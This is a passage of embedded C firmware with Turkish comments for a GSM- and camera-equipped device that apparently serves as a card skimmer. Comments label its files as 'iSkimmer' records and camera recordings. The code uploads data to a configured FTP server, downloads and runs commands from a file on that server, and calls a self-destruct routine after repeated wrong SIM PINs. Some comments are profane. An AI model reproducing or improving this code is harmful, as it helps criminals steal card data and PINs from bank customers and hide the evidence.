		if ( strstr(komut, "UPDATE_FILELIMIT") > 0 )
		{ systemVariables.updateFileLimit = myAtoi(parametre); 	} else

		if ( strstr(komut, "ARANACAK_NO") > 0 )
		{ sprintf(systemVariables.aranacakNo, parametre); 		} else

		if ( strstr(komut, "FTP_SERVER1") > 0 )
		{ sprintf(systemVariables.ftpServer1, parametre); 		} else
		if ( strstr(komut, "FTP_USER1") > 0 )
		{ sprintf(systemVariables.ftpUser1, parametre);	  		} else
		if ( strstr(komut, "FTP_PASSWORD1") > 0 )
		{ sprintf(systemVariables.ftpPass1, parametre);			} else

		if ( strstr(komut, "FTP_SERVER2") > 0 )
		{ sprintf(systemVariables.ftpServer2, parametre);		} else
		if ( strstr(komut, "FTP_USER2") > 0 )
		{ sprintf(systemVariables.ftpUser2, parametre);			} else
		if ( strstr(komut, "FTP_PASSWORD2") > 0 )
		{ sprintf(systemVariables.ftpPass2, parametre);			} else

		if ( strstr(komut, "CAM_RES") > 0 )
		{ sprintf(systemVariables.camRes, parametre);			} else
		if ( strstr(komut, "CAM_FPS") > 0 )
		{ sprintf(systemVariables.camFps, parametre);			} else
		if ( strstr(komut, "CAM_NIGHT") > 0 )
		{ sprintf(systemVariables.camNight, parametre);			} else
		if ( strstr(komut, "CAM_WHITEBAL") > 0 )
		{ sprintf(systemVariables.camWhiteBal, parametre);		} else
		if ( strstr(komut, "CAM_BRIGHT") > 0 )
		{ sprintf(systemVariables.camBright, parametre);		} else

		if ( strstr(komut, "CAM_HSTART") > 0 )
		{ systemVariables.camHStart = myAtoi(parametre); 		} else
		if ( strstr(komut, "CAM_HSTOP") > 0 )
		{ systemVariables.camHStop = myAtoi(parametre); 		} else
		if ( strstr(komut, "CAM_VSTART") > 0 )
		{ systemVariables.camVStart = myAtoi(parametre); 		} else
		if ( strstr(komut, "CAM_VSTOP") > 0 )
		{ systemVariables.camVStop = myAtoi(parametre); 		}
	}

	flashWrite(); 	/* Bütün değişiklikleri kaydet */
}

/*
 * dosyaAdi benzersiz bir dosya adı olur: "X" + UNIQUEID_STR + DATETIME_STR + Random 4 Byte
 * 		(String olarak 2x2 = 4 hex karekter en sona eklenir)
 *
 * 		Sonu zip ile biten iSkimmer KAYDIDIR
 * 		Sonu rar ile biten KAMERA KAYDIDIR
 * 		Sonu log ile biten Login data kaydıdır
 *
 */
void _dosyaAdiOlustur(char *dosyaAdi, uint8_t dosyaEk, bool resetVariables)
{
	if (resetVariables)	{
		uniqueIDnDateTme();									/* UNIQUEID_STR ve DATETIME_STR global değişkenleri set edilir 		*/
		randomVal = gecko_cmd_system_get_random_data(16);	/* randomVal 2 byte'lık veriler ile doldurulur 						*/
	}

	memset(dosyaAdi, 0, 50);	/* Sil ki string'in sonu otomatik NULL olsun */

	if (dosyaEk == 1)
	{ sprintf(dosyaAdi, "X%s%s%02X%02X.zip", UNIQUEID_STR, DATETIME_STR,  randomVal->data.data[0], randomVal->data.data[3]); } else
	if (dosyaEk == 2)
	{ sprintf(dosyaAdi, "X%s%s%02X%02X.rar", UNIQUEID_STR, DATETIME_STR,  randomVal->data.data[0], randomVal->data.data[3]); } else
	{ sprintf(dosyaAdi, "X%s%s%02X%02X.log", UNIQUEID_STR, DATETIME_STR,  randomVal->data.data[0], randomVal->data.data[3]); }
}

/*
 * camRecord yapılan dosya adını ayıklar
 *
 *		GSM_CAMERA_RECORDSTART komutundan sonra GSM Modül bir dosya adı belirleyip kaydetmeye başlıyor
 * 		Örneğin:
 * 				AT+CCAMRS
 * 				C:/Video/20080420_123003.mp4
 *				OK
 *
 *		Burada dosya adı lamba gibi gözüküyor, komuttan sonra commandbuffer'dan kolayca alınır
 *			dosyaKaynak'a koyulur:
 *				C:/Video/20080420_123003.mp4
 *
 */
void _camDosyaAdiAl(char *dosyaKaynak)
{
	for (uint16_t i = 2; i < rxBuffer.index; i++) 	/* İlk 2 karekter \r \n 										*/
	{
		if ( (rxBuffer.data[i] == '\r') || (rxBuffer.data[i] == '\n') || (rxBuffer.data[i] == 0) )
		{ break; }		/* Satır sonuna gelindiyse bitir */

		dosyaKaynak[i - 2] = rxBuffer.data[i];		/* dosyaKaynak 0'dan başlayacağı için -2 şeklinde belirlenir 	*/
	}

	xprint("camDosyaAdiAl(): %s", dosyaKaynak);
}

/*
 * rxBuffer'daki Dosya Listesi VEYA Komut Listesini temize çekip kaç adet olduğunu saptar
 * 		Giriş VE Çıkış olarak rxBuffer'ı kullanır, extra bir buffer kullanmaz
 * 		Gelen dosya adları, temizlendikten sonra en fazla geldiği kadar olabileceğinden dolayı Buffer Problemi yaşanmaz
 * 		Buffer'ın ilk byte'ı sayılmış olan Dosya veya Komut miktarını gösterir
 * 		Kalan buffer şu şekilde işlenir:
 * 			Başında '<' ve sonunda '>' olacaktır, bu bir adet komut veya dosyadır
 * 			Kullanılırken baş ve sonraki '<>' çıkartılacaktır
 *
 * 			Data: 	"<Xdosyaadi.rar>"
 * 			Kullan: "Xdosyaadi.rar"
 *
 *			Data: 	"<!NUKESYSTEM>"
 *			Kullan: "!NUKESYSTEM"
 *
 *		Rutin sonunda rxBuffer.index cntBulunan'a eşitlenir
 *			index mevcut bulunanların en sonu + 1'i gösterir
 *			Hiç bulunamadıysa 0 olur
 *
 *		Eğer Dosya ayıklanacaksa dosya = true
 *		Eğer Komut ayıklanacaksa dosya = false
 *
 */
uint8_t _dosyaAyikla(bool dosya)
{
	uint16_t cntMain  	= 0; 			/* Buffer'ın Ana indexi */
	uint16_t cntBulunan = 0;			/* Bulunan ve Buffer'a kaydedilen yerleri tutan index */
	uint16_t bulunan  	= 0;			/* Kaç adet bulunduğu bilgisi */

	const char basSentinel = '<';		/* Bulunan Baş Sentineli */
	const char sonSentinel = '>';		/* Bulunan Son Sentineli */

	char	 sentinel;					/* Dosya ise 'X', Komut ise '!' */

	if (dosya) { sentinel = 'X'; } else { sentinel = '!'; }

	while (true)
	{
		if (cntMain >= rxBuffer.index) { break; } 			/* rxBuffer'daki veri limitine ulaşınca çık 					*/

		if (rxBuffer.data[cntMain++] == sentinel) {			/* Sentinel bulundu 											*/
															/* Veriyi geçici değişkene kopyala 								*/
			bulunan++;										/* Bulunan değişkeni arttır 									*/
			rxBuffer.data[cntBulunan++] = basSentinel;		/* Bulunan Başlangıç Sentineli yaz								*/
			rxBuffer.data[cntBulunan++] = sentinel;			/* Bulunan Sentinel yerine yazılır, yoksa kayma yapar 			*/
			while (true)									/* Dosya/Komut Adı bitene kadar kopyala 						*/
			{
				if ( (rxBuffer.data[cntMain] == '\r') || (rxBuffer.data[cntMain] == '\n') || (cntMain >= rxBuffer.index) ) {
					rxBuffer.data[cntBulunan++] = sonSentinel;		/* Bulunan Son Sentineli yaz 							*/
					break;
				}

				rxBuffer.data[cntBulunan++] = rxBuffer.data[cntMain++];
			}
		}
	}

	rxBuffer.index = cntBulunan;			/* rxBuffer.index'i bulunan counter'ını göstermesini sağla 						*/
	rxBuffer.data[cntBulunan] = 0;			/* Sonunu NULL yap, kolay basılsın 												*/

	if (bulunan > 0)						/* Bulunan dosya yoksa diğer rutinde Debug Out yapılıyor 						*/
	{ xprint("Bulunan Dosya/Komut: %d adet\r\n%s", bulunan, rxBuffer.data); }

	return bulunan;
}

/*
 * GSM Command'ı gönderilebilecek hale getirir
 * 		_sendCOMM aracılığı ile gönderimi yapar
 *
 * 		commandGSM2 ve commandGSM3 opsiyonel olarak farklı string'ler eklemek için kullanılır
 * 			Örn. AT +FS_WRITE FILENAME ,0,7500,200
 *				 1	2                  3
 *
 *		sadeceOK, AT komutlarından sonra Cevap olarak "OK" beklenip beklenmeyeceğidir
 *			Eğer "false" yapılırsa, "OK" cevabı gelse dahi, (: 0) cevabı beklenir
 *
 */
gsmCommandResult_TypeDef sendGSMCommand(char *commandGSM, char *commandGSM2, char *commandGSM3, bool sadeceOK, uint32_t timeOut)
{
	gsmCommandResult_TypeDef result = cmdTimeout;

	uint32_t timeNow 	= CRYOTIMER_CounterGet();		/* Su anki zamani sakla 							*/
	bool	 errorFlag	= false;						/* ': x' gibi bir hatalı cevap detect edilince		*/

	rxBuffer.index = 0;

	sprintf(rxBuffer.data, "%s%s%s%s%s", GSM_AT, commandGSM, commandGSM2, commandGSM3, GSM_ENTER);

	_txGonder(rxBuffer.data, MAX_RXBUFFER_SIZE, true);						/* Tam bir gsmCommand haline gelen rxBuffer.data'ı Serial'dan gönder, NULL'da dur 										*/

	while (rxBuffer.index < MAX_RXBUFFER_SIZE)								/* Beklenen cevap veya Error cevabı gelene kadar VEYA timeOut olana kadar cevapları topla 								*/
	{
		if ( (timeNow + timeOut) < CRYOTIMER_CounterGet() )					/* Timeout süresi dolduysa 																								*/
		{ xprint("Komut timeout oldu (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdTimeout; }

		if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) {					/* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
			rxBuffer.data[rxBuffer.index++] = LEUART_RxDataGet(LEUART0);	/* RxDataGet ile direk register'dan okuma yapılır 																		*/
			rxBuffer.data[rxBuffer.index] = 0;								/* Otomatik olarak rxBuffer.data sonu NULL yapılır 																		*/

			/*
			 * Burası çok hızlı çalışması gerekiyor yoksa OK ve ERROR detect "yapılamayabiliyor"
			 * 		Son karakter \n ise klasik OK ve ERROR kontrolleri yapılır
			 *
			 *		Son karakter \n değil ise (:) OK ve ERROR kontrolleri yapılır
			 * 		": x" ise ve x = 1 ile 9 arasında ise (Çünkü 0 değeri OK anlamındadır) Error sinyali olarak algılanır
			 *
			 *		Harici Error karar verilmesi 2sn sonra yapılır
			 *			2 saniye içersinde önce "+FSCOPY: 100.0" sonra "OK" gelebiliyor ve bu ERROR olarak değil OK olarak işlenmesi lazım
			 *			2 saniye beklenirse önce OK kontrolü yapılacağından dolayı, cevap doğru olarak dönecektir
			 *
			 */

			/* Her satır başında gönderilen 2 karekterlik "\r\n" için kontrol yapma */
			if (rxBuffer.index > 4) {
				if (rxBuffer.data[rxBuffer.index-1] == '\n') {
					if (sadeceOK) {
						if ( (rxBuffer.data[rxBuffer.index-2] == '\r') && (rxBuffer.data[rxBuffer.index-3] == 'K') && (rxBuffer.data[rxBuffer.index-4] == 'O') )
						{ xprint("OK (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdOk; }
					}
					if (rxBuffer.index > 7) { /* else kullanınca sorun çıkıyor, ate0 yapılmayan error'u detect edemiyor S*/
						if ( (rxBuffer.data[rxBuffer.index-2] == '\r') && (rxBuffer.data[rxBuffer.index-3] == 'R') && (rxBuffer.data[rxBuffer.index-4] == 'O') &&
							 (rxBuffer.data[rxBuffer.index-5] == 'R')  && (rxBuffer.data[rxBuffer.index-6] == 'R') && (rxBuffer.data[rxBuffer.index-7] == 'E'))
						{ xprint("ERROR (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdError; }
					}
				} else
				if ( (rxBuffer.data[rxBuffer.index-1 -2] == ':') && (rxBuffer.data[rxBuffer.index-1 -1] == ' ') ) {
					if ( (rxBuffer.data[rxBuffer.index-1] > 48) && (rxBuffer.data[rxBuffer.index-1] < 58) )
					{ errorFlag = true; } else						/* Eğer 1..9 arasındaysa (:) errorFlag set edilir 	*/
					if (rxBuffer.data[rxBuffer.index-1] == '0' )	/* Eğer 0 ise Okay sinyali alınmıştır 				*/
					{ xprint("OK (:) (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdOk; }
				}
			}
		}

		/*
		 * Error komutları burada işlenir
		 * 		2 saniye geçmesine rağmen OK sinyali gelmediyse ve errorFlag set edilmişse bu bir (:) hatadır
		 *
		 *		Min. Timeout değeri 2sn olduğu için, hata kontrolünü 1.9sn olarak yapıyorum
		 */
		if ( (timeNow + 1900) < CRYOTIMER_CounterGet() ) {
			if (errorFlag) { /* 2 saniye geçtiyse ve OK detect edilemediyse ve errorFlag set edilmişse */
				/*
				 * IMEI Check komutunun cevabını işle
				 * 		Cevabın ilk satırı (Örneğin):
				 * 			+SIMEI: 357475051302357
				 * 			(23 karakter)
				 *
				 */
				if ((commandGSM[0] == '+') && (commandGSM[1] == 'S') && (commandGSM[2] == 'I') && (commandGSM[3] == 'M') &&
					(commandGSM[4] == 'E') && (commandGSM[5] == 'I') && (commandGSM[6] == '?') )
				{
					char tmpC[30] = { 0 };
					memcpy(tmpC, rxBuffer.data + 2, 23);
					xprint("OK (:) %s", tmpC);
					return cmdOk;
				} else
				{ xprint("ERROR (:) (%s%s%s)", commandGSM, commandGSM2, commandGSM3); return cmdError; }
			}
		}

	}

	return result;
}

/*
 * Boş AT Komutları gönderilir ve Modül'ün uyanması sağlanır
 * 		Herhangi bir cevap kontrolü yapılmaz
 *		LEUART pinleri Enabled burada yapılır
 *			Nasılsa her iletişim başında boş AT Komutları gönderilecektir, uart'da burada enable yapılması mantıklıdır
 */
void bosATKomutlari(void)
{
	txAyarla(true);				/* LEUART TX Pin Enabled edilsin. MODÜL AÇILDIKTAN SONRA! YOKSA SLEEP'E GEÇMEZ!!!	*/
	bekle(1000, true, 2);		/* 1 saniye bekleme yap, GSM Modül uartAyarlarını detect etsin 						*/

	sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
	sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
	sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
	sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
	sendGSMCommand("", "", "", true, GSM_TIMEOUT_2);
}

/*
 * Login yapıldığında standart olarak alınan ver gönderilen dosyalar
 * 		Gönderilir: 		bezersizad.log
 * 		Alınıp işlenir: 	GSM_FTP_CMDFILE
 *
 */
void loginDosyaAlVer(void)
{
	uint32_t timeNow 	= CRYOTIMER_CounterGet();		/* Su anki zamani sakla */
	gsmCommandResult_TypeDef result = cmdError;
	char dosyaAdi[50];
	char tmp[50];

	_dosyaAdiOlustur(dosyaAdi, 0, true); 	/* Benzersiz dosya adı oluştur; 0 = Login; değişkenleri reset et 																						*/

	sprintf(tmp, "AT+CFTPSPUT=\"%s\",%d%s", dosyaAdi, sizeof(systemVariables), GSM_ENTER);

	_txGonder(tmp, sizeof(tmp), true);		/* LEUART'dan basılanları FTP Server'a dosya olarak kaydetmek isteği gönder, NULL'da dur 																*/

	while (true)
	{
		if ( (timeNow + GSM_TIMEOUT_10) < CRYOTIMER_CounterGet() )			/* 10 saniye içersinde ">" cevabı gelmeli, yoksa timeout 																*/
		{ xprint("Login dosya gonderimi timeout (%s)", dosyaAdi); goto dosyaAl; }

		if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) { 					/* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
			char tmp = LEUART_RxDataGet(LEUART0);							/* RxDataGet ile direk register'dan okuma yapılır 																		*/
			if (tmp == '>') {
				_txGonder((char *) &systemVariables, sizeof(systemVariables), false);	/* systemVariables'ı gönder, NULL'da durmadan hepsini gönder 												*/
				bekle (1000, true, 2);		/* 1 Saniye bekle */
				sendGSMCommand("+CFTPSPUT", "", "", true, GSM_TIMEOUT_10);	/* En son bu komut gönderilerek dosyanın bittiği bildirilir 															*/

				break; 	/* Bekleme döngüsünden çık */
			}
		}
	}


dosyaAl:
	bosATKomutlari(); 	/* Eğer yukardaki rutin sorun çıkardıysa, LEUART'ı temizlemek maksadıyla kullanılıyor */

	result = sendGSMCommand(GSM_FTP_GET, GSM_FTP_CMDFILE, "\"", false, GSM_TIMEOUT_30);		/* Komut dosyasını varsa indirmeye çalış 			*/

	if (result == cmdOk) {
		uint8_t komutSayisi = _dosyaAyikla(false);	/* Komut ayıklanacağı için "false" */

		if (komutSayisi > 0) {
			xprint("Komutlar (%d) Parse Islemine gonderiliyor", komutSayisi);

			komutParse();
		} else
		{ xprint("FTP'den dosya gelmesine ragmen komut bulunamadi! Ziktir a.q."); }

		sendGSMCommand(GSM_FTP_DELETEFILE, GSM_FTP_CMDFILE, "\"", true, GSM_TIMEOUT_10);	/* Komut dosyasını FTP Sunucusundan sil 			*/
	}
}

/* GSM Regulator kapatilir */
void gsmRegulatorClose(void)
{
	txAyarla(false);													/* LEUART TX Pin Disable 												*/
	GPIO_PinOutClear(GSM_REG_ENABLE_PORT, GSM_REG_ENABLE_PIN);			/* GSM Regulator enable = 0 											*/
	bekle(1000, true, 2);												/* 1 saniye bekleme yap 												*/
}

void resetSistem(void)
{
	xprint("Tum Sistem reset ediliyor");

	sendGSMCommand(GSM_CAMERA_DISABLE, 	"", "", true, GSM_TIMEOUT_2);	/* Her halukarda Kamera regulatörünü kapat 								*/
	gsmRegulatorClose();												/* GSM Regulator kapatılır 												*/
	txAyarla(false);													/* LEUART TX Pin Disable 												*/
	gecko_cmd_system_reset(0); 											/* Tüm sistem baştan başlasın 											*/
}

/*
 * GSM Modül'ü Sleep durumuna yani Minimum Functionality Mode'a geçirir
 * 		Önem arzeden bir rutin'dir bu sebeple 3 defa deneme yapılmıştır
 * 		Eğer denemeler başarısızlık ile sonuçlanırsa Tüm Sistem reset edilir
 * 			(Sleep'e giremeyen modül ile sistemin çalışmasının bir anlamı yoktur)
 *
 * 		Logout ve Cftpstop komutları gönderilir
 * 			Aslında gönderilmese de Sleep'e geçmede bir sorun çıkmaz
 * 			Bu Modül'ün içersindeki "Thread" ın da kapanmasını ve "muhtemelen" daha az enerji harcamasını sağlar
 *			Geri dönüşünün kontrol edilmesine gerek yoktur
 *
 */
void gsmSleep()
{
	gsmCommandResult_TypeDef result = cmdError;

	sendGSMCommand(GSM_FTP_LOGOUT, "", "", false, GSM_TIMEOUT_10);
	sendGSMCommand(GSM_FTP_SSTOP,  "", "", false,  GSM_TIMEOUT_10);

	/* 3 Defa Sleep Mod'a geçilmeye çalışılır */
	for (uint8_t i = 1; i < 4; i++)
	{
		xprint("Modul Sleep durumuna geciliyor. Deneme: %d", i);
		WDOG_Feed(); 		/* Köpeği besle, havlayıp reset etmesin */

		result = sendGSMCommand(GSM_MODE_OFF, "", "", true, GSM_TIMEOUT_10);
		if (result == cmdOk)
		{ xprint("gsmSleep() done"); break; }

		xprint("gsmSleep() basarisiz!");
	}

	txAyarla(false);								/* LEUART TX Pin Disable 								*/
	if (result != cmdOk) { resetSistem(); }			/* Uykuya geçme başarısız olduysa Reset işlemi 			*/
}

/*
 * GSM Modül için gerekli olan hardware hazırlıkları yapılır
 * 		Regulator başlatılarak GSM Modül'e elektrik verilir
 * 		LEUART için rx,tx ayarları yapılır ama ENABLE işlemi GSM modül açıldıktan sonra yapılır
 * 			Aksi halde GSM modül sleep'e girmiyor!!!
 *
 * GSM Modül açılır açılmaz gönderilen AT Komutları
 * 		Modülün çalışıp çalışmadığı belirlenir
 *
 * GSM Modem ile ilk iletişim başlatılır
 * 		Standart bazı komutlar gönderilir ve cevap beklenmez
 * 		Echo OFF gönderilerek alınacak cevabın Echo'suz olması sağlanır
 * 		En son tekrar Echo OFF gönderilir ve cevabı kontrol edilir
 * 			Cevap beklendiği gibi ise GSM Modül çalışmaktadır
 *
 * 	BU RUTİN BAŞARILI SONUÇLANMALIDIR, AKSİ HALDE SİSTEMİN ÇALIŞMASININ BİR ANLAMI YOKTUR
 * 		TEMEL İLETİŞİMİN BAŞARISIZLIĞI DOLAYISI İLE KAMERA KULLANILAMAZ VE SİSTEM ÇALIŞMAZ
 * 		BU SEBEPLE BU RUTİN BAŞARILI OLANA KADAR "BRUTE FORCE" DENEMELER YAPILMAK ZORUNDADIR
 *
 */
gsmCommandResult_TypeDef _initGSMCOM(void)
{
	gsmCommandResult_TypeDef result = cmdError;

	GPIO_PinOutSet	(GSM_REG_ENABLE_PORT, GSM_REG_ENABLE_PIN);			/* GSM Regulator enable = 1 											*/
	GPIO_PinOutSet	(GSM_ENABLE_PORT, 	  GSM_ENABLE_PIN);				/* GSM Modül enable yapılır 											*/
	bekle(2000, true, 2);												/* 2 saniye bekleme yap 												*/
	GPIO_PinOutClear (GSM_ENABLE_PORT, 	  GSM_ENABLE_PIN);				/* Pin bırakılır. Bu esnada modül çalışmaya başlamış olmalıdır 			*/

//while(1) {	WDOG_Feed();} /* Köpeği besle, havlayıp reset etmesin */

	bekle(5500, true, 2);		/* GSM Modül'ün açılması için gereken minimum süre (tam açılmış olmaması gerekiyor) 							*/
	bekle(6500, false, 0);		/* Toplamda 12 saniyede modül açılmış oluyor. Tam açıldığı zamanı tespit etmeye çalış 							*/
	while (!BEKLE_TIMEOUT)		/* Timeout olana kadar veya cevap alınana kadar döngü 															*/
	{
		if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) {					/* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
			rxBuffer.data[rxBuffer.index] = LEUART_RxDataGet(LEUART0);		/* RxDataGet ile direk register'dan okuma yapılır 					*/
			if (rxBuffer.data[rxBuffer.index] == '\n') {					/* Beklenen cevap (+CPIN: SIM PIN) geldiyse döngüyü kır 			*/
				if ( (rxBuffer.data[rxBuffer.index-1] == '\r') && (rxBuffer.data[rxBuffer.index-2]  == 'N') && (rxBuffer.data[rxBuffer.index-3]  == 'I') &&
					 (rxBuffer.data[rxBuffer.index-4] == 'P')  && (rxBuffer.data[rxBuffer.index-5]  == ' ') && (rxBuffer.data[rxBuffer.index-6]  == 'M') &&
					 (rxBuffer.data[rxBuffer.index-7] == 'I')  && (rxBuffer.data[rxBuffer.index-8]  == 'S') && (rxBuffer.data[rxBuffer.index-9]  == ' ') &&
		 	 	 	 (rxBuffer.data[rxBuffer.index-10] == ':') && (rxBuffer.data[rxBuffer.index-11] == 'N') && (rxBuffer.data[rxBuffer.index-12] == 'I') &&
		 	 	 	 (rxBuffer.data[rxBuffer.index-13] == 'P') && (rxBuffer.data[rxBuffer.index-14] == 'C') && (rxBuffer.data[rxBuffer.index-15] == '+') )
				{ break; }
			}

			rxBuffer.index++;
		}
	}

	WDOG_Feed(); 															/* Köpeği besle, havlayıp reset etmesin 							*/
	bosATKomutlari(); 														/* Boş AT Komutları gönderilerek modül uyandırılır 					*/

	sendGSMCommand(GSM_MODE_ON, 		"", "", true, GSM_TIMEOUT_2); 		/* Her halukarda CFUN=1 Full Functionality 							*/
	sendGSMCommand(GSM_CAMERA_DISABLE, 	"", "", true, GSM_TIMEOUT_2);		/* Her halukarda Kamera regulatörünü kapat 							*/
	sendGSMCommand(GSM_FS_CD_ROOT_DIR, 	"", "", true, GSM_TIMEOUT_2); 		/* Önce Root Directory gidilir 										*/
	sendGSMCommand(GSM_FS_MKDIR_UPLOAD, "", "", true, GSM_TIMEOUT_2);		/* Sonra Create /Upload Directory yapılır 							*/

	result = sendGSMCommand(GSM_ECHO_OFF, "", "", true, GSM_TIMEOUT_2);		/* Echo OFF 														*/
	result = sendGSMCommand(GSM_ECHO_OFF, "", "", true, GSM_TIMEOUT_2);		/* Echo OFF ve modül cevap veriyormu sınamasını yap 				*/

	return result;
}

void initGSM(void)
{
	LEUART_Init_TypeDef LEUARTinit = LEUART_INIT_DEFAULT;

	GPIO_PinModeSet(GSM_REG_ENABLE_PORT, GSM_REG_ENABLE_PIN, gpioModePushPull, 0); 		/* Regulator 0 olarak özellikle belirle 														*/
	GPIO_PinModeSet(GSM_ENABLE_PORT,  	 GSM_ENABLE_PIN,  	 gpioModePushPull, 0); 		/* GSM Module 0 olarak özellikle belirle 														*/
	GPIO_PinModeSet(GSM_PORT, GSM_RX_PIN, gpioModeInput, 0);							/* RX Pin'i belirle 																			*/
	bekle(2000, true, 2);																/* Reset işleminden sonra regulator 0 olmasının ardından beklemek gerekir 						*/

	CMU_ClockEnable(cmuClock_LEUART0, true);	/* LEUART clock ver 					*/
	LEUART_Init(LEUART0, &LEUARTinit);			/* LEUART init ile birlikte başlatılır	*/

	LEUART0->ROUTELOC0 = (LEUART0->ROUTELOC0 & (~_LEUART_ROUTELOC0_RXLOC_MASK)) | GSM_RX_LEUART_LOCATION;
	LEUART0->ROUTEPEN  =  LEUART0->ROUTEPEN | LEUART_ROUTEPEN_RXPEN;

	LEUART0->ROUTELOC0 |= (LEUART0->ROUTELOC0 & (~_LEUART_ROUTELOC0_TXLOC_MASK)) | GSM_TX_LEUART_LOCATION;
	LEUART0->ROUTEPEN   =  LEUART0->ROUTEPEN | LEUART_ROUTEPEN_TXPEN;

	gsmCommandResult_TypeDef result = cmdError;

	result = _initGSMCOM();		/* GSM temel iletişim test edilir */

	if (result != cmdOk) {
		xprint("initGSM() basarisiz! 115200 baud deneniyor");

		gsmRegulatorClose();										/* GSM Regulator kapatılır 																							*/
		LEUART_Enable(LEUART0, false);								/* LEUART disable 																									*/
		yavasla(0);													/* Sistem BLE Hızına çıkartılır 																					*/
		CMU_ClockSelectSet(cmuClock_LFB, cmuSelect_HFCLKLE);		/* LEUART'ın beslendiği LFB'ye HFCLKLE (HFXO'nun beslediği) bus bağlanır 											*/
		LEUARTinit.baudrate = 115200;								/* LEUART 115200 çalıştırılır 																						*/
		LEUART_Init(LEUART0, &LEUARTinit);							/* LEUART init ile birlikte başlatılır 																				*/
		result = _initGSMCOM();										/* GSM temel iletişim test edilir 																					*/
		sendGSMCommand(GSM_BAUD_9600, "", "", true, GSM_TIMEOUT_2); /* BAUD Rate kalıcı olarak 9600 - BU KOMUTUN CEVABI BAUDRATE DEĞİŞTİĞİ İÇİN ALINAMIYOR - TIMEOUT OLUR 				*/
		resetSistem();												/* 115200 başarılı olsa da Reset işlemi, camRecord vs. 9600'e göre çalışıyor, zaten 115200'e gelmesi bir istisna!	*/
	}
	xprint("initGSM() done");
}

/*
 * SIM kartın PIN'ini girer
 * 		İstenmeyen yanlış pin girişleri için zarif bir rutin yazılmaya çalışılmıştır
 *
 * 		PIN İsteniyormu bakılır
 * 			İsteniyorsa giriş yapılır ve sonuç kontrol edilir
 * 				Hatalı giriş ise Flash update yapılarak birdaha deneme yapılmayacak şekle getirilir
 *
 * 		PIN Hiç girilmeden çalışıyorsa
 * 			PIN set edilir ve Modülün Reset işlemine gerek duymadan devam edilir (Çalışıyor)
 *
 * 			PIN GİRİŞİNİN AKTİF EDİLMESİ İÇİN ESKİ ŞİFRE GEREKMEKTEDİR
 *
 */
gsmCommandResult_TypeDef _pinEnter(void)
{
	gsmCommandResult_TypeDef result = cmdError;

	result = sendGSMCommand(GSM_SIM_PIN_STATUS, 	"", "", true, GSM_TIMEOUT_2);		/* PIN Durumunu sorgula 											*/
	if (result != cmdOk) { return result; }												/* Cevap gelmediyse veya hata varsa geri döndür 					*/

	if ( strstr(rxBuffer.data, "CPIN: READY") > 0 ) {
		result = sendGSMCommand(GSM_SIM_PIN_SETNEW, systemVariables.pin, "\"", true, GSM_TIMEOUT_2);		/* Yeni PIN set et 								*/

		if (result == cmdOk) {
			xprint("PIN Kullanilmadigi icin ESKI PIN TEKRAR Set edildi: %s", systemVariables.pin);

			if (systemVariables.pinDogru != 0) {	/* Son PIN girişi hatalı olarak gözüküyorsa 															*/
				systemVariables.pinDogru = 0;		/* Son PIN girişi Doğru 																				*/
				flashWrite();						/* Değişikliği flash'a yaz 																				*/
			}
		} else
		{ xprint("Yeni Pin set etme isleminde HATA");	}
	} else
	{
		result = sendGSMCommand(GSM_SIM_PIN_ENTER, systemVariables.pin, "\"", true, GSM_TIMEOUT_2);		/* Yeni PIN set et 									*/
		if (result != cmdOk) {
			if (++systemVariables.pinDogru > 2) {
				xprint("Toplam 3'den fazla PIN Giris hatasi! Sistem NUKE yapiliyor");

				gsmRegulatorClose();				/* Önce regulatör kapatılır çünkü nukeSystem()'de regulator açmaya çalışırken kapatma meydana gelebilir */
				nukeSystem();						/* Bütün sistemin amına koy 																			*/
			} else {
				xprint("PIN Giris hatasi arttirilarak yaziliyor");

				flashWrite();
				resetSistem();
			}
		} else {
			if (systemVariables.pinDogru > 0) {		/* PIN Doğru girildiyse ve pinDogru daha önce arttırılmışsa Sıfırla 									*/
				xprint("Son PIN Girisi sifirlaniyor");

				systemVariables.pinDogru = 0;		/* Son PIN girişi Doğru 																				*/
				flashWrite();						/* Değişikliği flash'a yaz 																				*/
			}

		}
	}

	return result;
}

int _xmodemCRC(char *ptr, int count)
{
    int  crc;
    char i;

    crc = 0;
    while (--count >= 0)
    {
        crc = crc ^ (int) *ptr++ << 8;
        i = 8;
        do
        {
            if (crc & 0x8000)
                crc = crc << 1 ^ 0x1021;
            else
                crc = crc << 1;
        } while(--i);
    }
    return (crc);
}

/*
 * Makul bir süre içinde bir cevap bekler
 * 		Gelen cevabı beklenen cevapla karşılaştırıp geri döndürür
 *
 */
uint8_t _xmodemBekle(uint8_t cevap)
{
	uint8_t  result 	= 1;								/* Cevap Default olarak hata 																							*/
	uint32_t timeNow 	= CRYOTIMER_CounterGet();			/* Su anki zamani sakla 																								*/

	while (true)
	{
		if ( (timeNow + XMODEM_CEVAP_TIMEOUT) < CRYOTIMER_CounterGet() ) 	/* Timeout süresi dolduysa 																				*/
		{ xprint("Cevap timeout oldu: %02X", cevap); return 1; }

		if ( (LEUART0->STATUS & LEUART_STATUS_RXDATAV)) { 	/* Eğer LEUART_Rx 'de veri varsa direkt register'dan oku, yoksa LEUART_Rx ile okumaya çalışma çünkü orada bekleme yapar */
			uint8_t tmpI = LEUART_RxDataGet(LEUART0);		/* RxDataGet ile direk register'dan okuma yapılır 																		*/

			if (tmpI == 0x00) { continue; }					/* Cevap 2 byte geliyor, biri 0x00, bunu basitçe atlarsam sonucu bulurum 												*/

			if (tmpI == cevap)
			{ xprint("Beklenen cevap geldi: %02X", tmpI); return 0;} else
